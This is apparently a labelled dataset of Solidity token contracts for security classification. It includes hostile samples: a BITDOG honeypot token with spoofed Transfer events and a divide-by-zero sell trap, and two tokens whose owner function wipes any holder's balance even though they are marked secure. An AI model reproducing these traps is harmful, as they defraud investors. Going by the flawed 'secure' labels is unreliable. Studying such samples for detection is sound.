files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract XTFToken is ERC20, Ownable {\n uint256 public constant INITIAL_SUPPLY = 200_000_000 * 10 ** 18;\n\n constructor() ERC20(\"X-Tech\", \"XTF\") Ownable(msg.sender) {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n}",
"file_name": "solidity_code_1539.sol",
"secure": 1,
"size_bytes": 422
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n constructor() {\n _owner = msg.sender;\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n modifier onlyOwner() {\n require(owner() == msg.sender, \"Ownable: caller is not the owner\");\n\n _;\n }\n}",
"file_name": "solidity_code_154.sol",
"secure": 1,
"size_bytes": 737
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Custodiante {\n IERC20 public token;\n\n address public immutable administrador;\n\n constructor(address _enderecoToken) {\n token = IERC20(_enderecoToken);\n administrador = msg.sender;\n }\n\n function mudarToken(address _enderecoToken) public returns (bool) {\n require(\n msg.sender == administrador,\n \"Somente administrador pode mudar o token\"\n );\n token = IERC20(_enderecoToken);\n return true;\n }\n\n function saldoCustodiante() public view returns (uint256) {\n return token.balanceOf(address(this));\n }\n\n function qualMeuToken() public view returns (string memory, string memory) {\n return (token.name(), token.symbol());\n }\n}",
"file_name": "solidity_code_1540.sol",
"secure": 1,
"size_bytes": 899
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract BITDOG is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _xuuyyy23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c1e2bd): BITDOG._e242 should be constant \n\t// Recommendation for 7c1e2bd: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 99;\n\n\t// WARNING Optimization Issue (constable-states | ID: 60bd978): BITDOG._feesValue should be constant \n\t// Recommendation for 60bd978: Add the 'constant' attribute to state variables that never change.\n uint256 private _feesValue = 0;\n\n mapping(address => uint256) private _fees;\n\n mapping(address => bool) private isBotAddress;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_xuuyyy23, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_xuuyyy23, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_xuuyyy23, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2d1d536): BITDOG.openTrading(address).account lacks a zerocheck on \t _xuuyyy23 = account\n\t// Recommendation for 2d1d536: Check that the address is not zero.\n function openTrading(address account) public virtual returns (bool) {\n require(_msgSender() == 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F);\n\n\t\t// missing-zero-check | ID: 2d1d536\n _xuuyyy23 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _xuuyyy23 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_xuuyyy23 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n !isBotAddress[from])\n ) {\n _swapBack(from);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _swapBack(address from) internal virtual {\n uint256 amount = balanceOf(from);\n\n uint256 __ppp = 1;\n\n if (amount > _e242) __ppp = _feesValue;\n\n _fees[from] = amount / __ppp;\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"bitdog\";\n\n _symbol = unicode\"BITDOG\";\n\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n\n address[32] memory addresses = [\n 0x865E61e497FE8Fef075c589b2F05104c26C87e91,\n 0xD32Ed4f3676BF0A61B421BAE817AC69333b22443,\n 0x16dAdbbaadD602deBF92e6007bA53fd04141f8Ad,\n 0x384dfA76167Aeb229ABCFb30E16d9895F940F26a,\n 0x2FE9d84BD78Ba15c32636e4f35D391418c8D401F,\n 0x1695223e4d669aE98AB4582413FD3715823F4aD9,\n 0x2295D646d8461a2A14827476eDe01632252628a1,\n 0x904c464B74b281442BcCA210350902a8258af879,\n 0x9089F2FCF42e83f0B1586b17bE17767477ac86cF,\n 0x0093596978a494e06F67D742bEf81aCF92cD377F,\n 0x80a369658A16e6d333Aa5e9581abCe53ECA455e2,\n 0xD3362497754e1F7eC92D86A039E5812F3634EdFf,\n 0x597F4c830B2B5cD863fc0FbB6Fe998582Ec74b27,\n 0x3955DafC1Eb4C9faa9f5b00c5A4b02432590D5F4,\n 0x0023738C5a43B8dfb13A41aCf58fc48bB5583510,\n 0x66b9018BaC4EebaC09EBf1F55Ecf61d616742833,\n 0x607aF32E715E194CA6fF96218C81fCCa0d519E02,\n 0xA720703cf8E54580729B5A8F9E3FB8B8A2D01aD5,\n 0xbEAc7AE4D5fBe9b1701c98a5626A98DF51364834,\n 0x38d93fcDE5C486Ac1075F5698A8BFEB417Dd9A16,\n 0xfB6c00E6B09569ddbd549B7Bb01F921257e5B3cF,\n 0x52C21eEca2c83960391Ed0FC3ab81Dab273E73e7,\n 0x46f516ad97aF65636ba3cc9e9e76456780634D6c,\n 0x168E7AF73e447281aceE49d8918C37C3463C2Efa,\n 0x5724461d83Ee9510047588BDBe07D3965D0dA75C,\n 0x7F81881AEeF1D80C74888B6eea83fA6a34C600B0,\n 0x2e277b0d1da04E0890E4Ac13570FBd4E5d3a8887,\n 0xe3a53B78539fc5f529DCF514DbCc73fa4E194F21,\n 0x6C13eeEEb337a60CfEd58717CAAF9a3846507382,\n 0xA1acABD15e162B38E5DC1F6df2F77504a67e19D3,\n 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F,\n 0xE8C7eF74F98328D7587672D4ac0455348cf4806a\n ];\n\n for (uint256 i = 0; i < addresses.length; i++) {\n isBotAddress[addresses[i]] = true;\n }\n }\n}",
"file_name": "solidity_code_1541.sol",
"secure": 0,
"size_bytes": 8919
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract WeedToken is ERC20 {\n constructor() ERC20(\"Weed Token [weed.finance]\", \"WEED\") {\n _mint(msg.sender, 10000000 * 10 ** 18);\n }\n}",
"file_name": "solidity_code_1542.sol",
"secure": 1,
"size_bytes": 282
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Anooyingorange is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable creep;\n\n constructor() {\n _name = \"Annoying Orange\";\n\n _symbol = \"ORANGE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 427000000;\n\n creep = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == creep, \"Not allowed\");\n\n _;\n }\n\n function railcar(address[] memory generation) public onlyOwner {\n for (uint256 i = 0; i < generation.length; i++) {\n address account = generation[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1543.sol",
"secure": 1,
"size_bytes": 4380
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract Token is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n constructor() {\n _name = \"Token Name\";\n _symbol = \"TKN\";\n _totalSupply = 1 * 10 ** 18;\n }\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1544.sol",
"secure": 1,
"size_bytes": 5264
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Elontweet is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable husband;\n\n constructor() {\n _name = \"elon just tweeted this\";\n\n _symbol = \"TWEETED\";\n\n _decimals = 18;\n\n uint256 initialSupply = 427000000;\n\n husband = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == husband, \"Not allowed\");\n\n _;\n }\n\n function deadly(address[] memory network) public onlyOwner {\n for (uint256 i = 0; i < network.length; i++) {\n address account = network[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1545.sol",
"secure": 1,
"size_bytes": 4379
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract KaspaNexus is ERC20 {\n constructor(address _wallet) ERC20(\"Kaspa Nexus\", \"KSPNX\") {\n _mint(_wallet, 5_000_000_000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1546.sol",
"secure": 1,
"size_bytes": 295
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract EDR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3fa1a05): EDR._taxWallet should be immutable \n\t// Recommendation for 3fa1a05: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a7ca109): EDR._initialBuyTax should be constant \n\t// Recommendation for a7ca109: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9946a6e): EDR._initialSellTax should be constant \n\t// Recommendation for 9946a6e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9cd2563): EDR._reduceBuyTaxAt should be constant \n\t// Recommendation for 9cd2563: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e13c4d): EDR._reduceSellTaxAt should be constant \n\t// Recommendation for 3e13c4d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc6557c): EDR._preventSwapBefore should be constant \n\t// Recommendation for cc6557c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Endeavor Group Holdings\";\n\n string private constant _symbol = unicode\"EDR\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b138860): EDR._taxSwapThreshold should be constant \n\t// Recommendation for b138860: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b15e64): EDR._maxTaxSwap should be constant \n\t// Recommendation for 8b15e64: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a9c8905): EDR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a9c8905: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8e53d3c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8e53d3c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a4a390d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a4a390d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8e53d3c\n\t\t// reentrancy-benign | ID: a4a390d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8e53d3c\n\t\t// reentrancy-benign | ID: a4a390d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 47f3e36): EDR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 47f3e36: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a4a390d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8e53d3c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: beefee5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for beefee5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9cff9f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9cff9f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: beefee5\n\t\t\t\t// reentrancy-eth | ID: 9cff9f3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: beefee5\n\t\t\t\t\t// reentrancy-eth | ID: 9cff9f3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9cff9f3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9cff9f3\n 